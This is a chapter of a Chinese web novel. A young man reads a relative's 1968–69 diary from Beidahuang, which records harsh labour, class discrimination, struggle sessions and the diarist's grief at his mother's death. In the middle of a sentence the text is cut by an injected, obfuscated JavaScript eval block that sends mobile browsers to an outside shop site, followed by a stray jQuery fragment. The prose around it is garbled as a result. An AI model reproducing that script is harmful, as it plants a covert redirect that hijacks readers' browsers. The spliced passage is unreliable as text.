沈未明在那个旧书包里,又翻出了一本日记。
比第一本,稍微厚一点。
封面,是棕色的。
没有什么图案。
看起来,很朴素。
也很旧。
沈未明,翻开这本日记。
第一页,写着:
"一九六八年,十月,于北大荒。"
北大荒?
沈清江,去了北大荒?
沈未明的心里,咯噔一下。
北大荒,那是什么地方啊。
天寒地冻的。
荒无人烟的。
一个,十六岁的孩子。
怎么能,受得了那种苦?
他坐在地上。
一页一页地,翻了起来。
一九六八年,十月十五日。
今天,我们终于到了。
北大荒。
比我想象的,还要荒凉。
到处,都是荒地。
一眼望不到边。
风,很大。
吹在脸上,像刀子割一样疼。
天,很蓝。
也很低。
好像,一伸手,就能摸到似的。
我们住的地方,是土坯房。
很矮。
也很破。
里面,有一股,霉味。
还有,一股,臭虫的味道。
晚上睡觉的时候,肯定会被咬的。
但是,没关系。
我不怕。
我是来,接受贫下中农再教育的。
我是来,改造思想的。
吃点苦,算什么。
从今天起,我就不是,地主崽子沈清江了。
我是,知识青年沈清江。
我要,跟过去的我,彻底决裂。
我要,重新做人。
十月二十日。
今天,第一天干活。
去地里,割豆子。
豆子,很矮。
得弯着腰割。
割了一天。
腰,都快断了。
手上,磨出了好几个水泡。
破了之后,钻心的疼。
晚上,回到宿舍。
累得,连饭都不想吃。
躺在床上,动都不想动。
可是,我不能喊累。
别人都能坚持,我也能。
我不能,让别人看不起。
我不能,给地主阶级丢脸。
不对,我已经,跟地主阶级决裂了。
我不能,再想这些了。
我要,好好劳动。
好好改造。
争取,早日成为一个,合格的革命青年。
十月三十日。
今天,我才知道。
原来,这里的人,都知道我的出身。
他们知道,我爹是地主。
所以,他们看我的眼神,都怪怪的。
带着,歧视。
带着,不屑。
就像,在看什么脏东西似的。
干活的时候,重活累活,都让我干。
吃饭的时候,好饭好菜,都没我的份。
开会的时候,我只能坐在最后一排。
连发言的资格,都没有。
我以为,我离开了家。
离开了那个地方。
就可以,摆脱地主崽子的身份了。
原来,我错了。
不管我走到哪里。
不管我怎么努力。
这个身份,都跟着我。
像影子一样。
甩都甩不掉。
这是我的命。
我认了。
十一月五日。
今天,下雪了。
北大荒的雪,真大啊。
比老家的雪,大得多了。
纷纷扬扬的。
下了一天一夜。
积雪,都快没过膝盖了。
天气,也冷得厉害。
零下二三十度。
呵气成冰。
我们住的土坯房,也不保暖。
晚上睡觉的时候,被子上,都能结一层霜。
冻得人,根本睡不着。
可是,第二天,还得早起干活。
不去不行。
不去,就是逃避劳动。
就是,思想有问题。
就得,挨批斗。
我只能,忍着。
再冷,也得忍着。
再累,也得忍着。
谁让我,出身不好呢。
十一月十五日。
今天,我发烧了。
很烫。
头,也很疼。
浑身,都没力气。
我想,请假休息一天。
可是,队长不同意。
他说,这点小病算什么。
贫下中农,比这更重的病,都坚持劳动。
我一个,地主家庭出身的知识分子。
怎么就这么娇贵?
还说,我这是,资产阶级的臭毛病。
得好好改造改造。
没办法,我只能,拖着病身子,去干活。
干了一天。
晚上,回到宿舍。
我就倒下了。
烧得更厉害了。
迷迷糊糊的。
好像,要死了似的。
我想,要是就这么死了。
也挺好的。
就不用,再受这些罪了。
就不用,再当这个地主崽子了。
可是,我没死。
第二天,又醒过来了。
烧,也退了一点。
还得,继续干活。
唉。
命苦啊。
沈未明,翻着日记。
心里,像被什么东西揪着似的。
疼。
十六岁的孩子。
一个人,跑到那么远的地方。
那么冷的天。
那么重的活。
还要,忍受着歧视和不公。
他怎么能,受得了啊。
沈未明,想起了自己十六岁的时候。
那时候,他在干什么呢?
在上学。
在跟同学玩。
在,为了一点小事,烦恼不已。
跟沈清比起来。
他那点烦恼,算什么啊。
简直,就是在蜜罐里长大的。
十二月一日。
今天,开批斗会。
批斗的,是我们队的一个老知青。
他也是,出身不好。
好像,是资本家出身。
他说了一句,对现实不满的话。
被人举报了。
就被拉出来,批斗了。
打得,很惨。
浑身是血。
我站在人群里。
看着他。
心里,很害怕。
我怕,哪天,我也会像他一样。
被拉出来批斗。
被人打。
我也不知道,我做错了什么。
我每天,都老老实实的干活。
老老实实的,接受改造。
从来不敢,说一句错话。
从来不敢,做一件错事。
可是,我还是怕。
我怕,无缘无故的,就被人抓起来批斗。
这种日子,什么时候,才是个头啊。
十二月十日。
今天,我收到了,家里的来信。
是我娘写的。
信上说,家里一切都好。
让我,不要担心。
让我,好好劳动。
好好改造。
不要想家。
我知道,我娘是骗我的。
家里,怎么可能一切都好呢。
我爹,身体不好。
还要,经常被拉去批斗。
家里的日子,肯定很难过。
可是,我没办法。
我帮不了他们。
我连自己,都顾不过来。
我真是个,不孝子。
我把他们,扔在家里。
一个人,跑了出来。
我真没用。
十二月二十五日。
今天,是圣诞节。
当然,这里没人过这个节。
这是,资产阶级的节日。
是,要被批判的。
可是,我还是,偷偷地,记了下来。
因为,今天,是我十七岁的生日。
我十七岁了。
长大了。
可是,我一点都不开心。
我一点都不觉得,长大有什么好的。
长大了,就要,面对更多的苦难。
就要,忍受更多的屈辱。
这样的生日,不过也罢。
我给自己,买了个馒头。
就算是,过生日了。
祝我,生日快乐。
希望,明年的今天。
我能,过得好一点。
沈未明,看到这里。
眼睛,有点湿润了。
十七岁的生日。
一个人。
在遥远的北大荒。
只有一个馒头。
还要,偷偷摸摸的。
不敢让别人知道。
这是什么样的生日啊。
太苦了。
真的太苦了。
一九六九年,一月一日。
新的一年,开始了。
一九六九年了。
不知道,今年会怎么样。
希望,能比去年好一点。
希望,我能,早点改造好。
早点,成为一个,真正的革命青年。
希望,家里的人,都能平平安安的。
希望,战争不要打起来。
希望,一切都能好起来。
希望,希望是个好东西。
也许,是最好的东西。
好东西,是不会死的。
一月十五日。
今天,又有人,被批斗了。
这次,是个女知青。
她跟一个男知青,谈恋爱了。
被人发现了。
就说,她是,资产阶级腐朽思想。
是,作风不正派。
就被拉出来,批斗了。
还被剃了阴阳头。
游街示众。
那个女知青,哭得很厉害。
可是,没人同情她。
大家都在骂她。
都在往她身上,扔烂菜叶。
我站在人群里。
看着她。
心里,很不是滋味。
谈恋爱,不是很正常的事吗?
怎么就,成了犯罪了?
怎么就,要被批斗了?
我想不通。
真的想不通。
这个世界,怎么会变成这个样子?
二月一日。
今天,大年三十。
晚上,队里,包了饺子。
每个人,分了十个。
饺子,很小。
一口,就能吃一个。
可是,已经很不错了。
这是我,来北大荒之后。
吃得最好的一顿饭了。
我吃着饺子。
想起了,家里的年夜饭。
以前,过年的时候。
我娘,都会包很多饺子。
有肉馅的,有素馅的。
好吃极了。
可是,现在,我只能,在这里。
吃着,十个小小的饺子。
一个人,过年。
不知道,我爹娘,现在怎么样了。
他们,有没有饺子吃?
他们,有没有想我?
我想他们了。
真的很想。
二月十五日。
今天,我收到了,家里的电报。
电报上说,我娘去世了。
让我,赶紧回去。
我拿着电报。
站在那里。
愣了很久。
我娘,去世了?
怎么可能?
上次来信的时候,她还说,她一切都好。
怎么会,突然就去世了?
我不信。
我不相信。
可是,电报上,白纸黑字的写着。
由不得我不信。
我娘,真的走了。
我再也,见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735670|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不到她了。
我蹲在地上。
抱着头。
哭了很久。
哭得,撕心裂肺的。
我想回去。
我想回去,见我娘最后一面。
可是,队长不同意。
他说,现在是农忙时节。
每个人,都得坚守岗位。
不能随便请假。
还说,我娘是地主婆。
死了,也是罪有应得。
我回去,就是立场不坚定。
就是,思想有问题。
我跟他吵。
跟他闹。
可是,没用。
他就是,不同意。
我没办法。
我只能,在这里。
连我娘最后一面,都见不到。
我真是个,不孝子。
我对不起我娘。
真的对不起。
沈未明,看到这里。
眼泪,终于忍不住,掉了下来。
他能感受到。
那种,失去亲人的痛苦。
还有,连最后一面都见不到的遗憾。
那该是,多么的绝望啊。
一个人,在那么远的地方。
无依无靠的。
连母亲去世,都不能回去看一眼。
这是什么样的世界啊。
怎么能,这么残忍。
三月一日。
我娘去世,已经半个月了。
我还是,经常会想起她。
想起她,给我做的饭。
想起她,给我缝的衣服。
想起她,摸着我的头,跟我说话的样子。
想着想着,眼泪就掉下来了。
我知道,我不能哭。
哭了,就是软弱。
就是,资产阶级的臭毛病。
可是,我忍不住。
我真的,很想我娘。
很想很想。
三月十五日。
今天,我想通了。
我不能,再这么消沉下去了。
我娘,肯定也不希望,看到我这个样子。
我要,好好活着。
我要,好好劳动。
我要,早点改造好。
早点回去。
回去,给我娘上坟。
回去,照顾我爹。
我不能,再让我爹,一个人了。
我要,坚强起来。
不管遇到什么困难。
我都要,坚持下去。
我相信,总有一天。
一切都会好起来的。
一定会的。
沈未明,合上日记本。
坐在那里,愣了很久。
心里,沉甸甸的。
他想起了,那个在北大荒的青年。
那个,十七八岁的青年。
在那么艰苦的环境里。
忍受着,寒冷,饥饿,劳累,歧视。
还要,忍受着,失去亲人的痛苦。
可是,他还是,坚持着。
还是,抱着希望。
希望,有一天,能好起来。
希望,有一天,能回家。
可是,他的希望,能实现吗?
沈未明不知道。
他只知道,后来,沈清江确实回来了。
但是,他回来的时候。
他爹,也已经去世了。
他连他爹最后一面,也没见到。
这是,多大的遗憾啊。
沈未明,把日记本,放回书包里。
然后,站起身。
走到窗口。
推开窗户。
外面的阳光,很好。
照在身上,暖暖的。
可是,沈未明的心里,却很冷。
像冰一样冷。
他想起了,北大荒的雪。
想起了,那个在雪地里,默默流泪的青年。
想起了,他的绝望。
想起了,他的希望。
那样的日子。
真的,太苦了。
苦得,让人喘不过气来。
风,吹过院子里的桂花树。
发出,沙沙的声音。
像有人,在叹气。
又像,有人在哭。
沈未明,站在窗口。
听着这声音。
好像,听到了那个青年的哭声。
很低。
很压抑。
带着,无尽的悲伤和思念。
他在哭他的娘。
他在哭他的命运。
他在哭,这个不公平的世界。
沈未明,闭上眼睛。
深深地,吸了一口气。
然后,慢慢地,吐了出来。
他想,他得继续。
继续,往下看。
继续,去了解沈清江的故事。
了解,他后来的命运。
虽然,他已经大概知道了结局。
但是,他还是想知道。
想知道,这中间,到底发生了什么。
想知道,那个青年。
是怎么,一步步地,走过来的。
他关上窗户。
转过身。
拿起那个旧书包。
往楼下走去。
他想,找个地方。
安安静静地。
把剩下的日记,都看完。
他想,好好地,了解一下。
这个,跟他流着同样血的人。
这个,他的先辈。
这个,在黑暗中,苦苦挣扎的人。
也许,从他的身上。
他能看到,自己的影子。
也许,从他的命运里。
他能找到,自己的答案。
楼梯,很陡。
也很暗。
沈未明,一步一步地,往下走。
脚步声,在空荡荡的阁楼里。
回荡着。
"咚。"
"咚。"
"咚。"
像,那个青年的脚步声。
又像,命运的脚步声。
一步一步。
坚定地。
往前走。
永远,都不回头。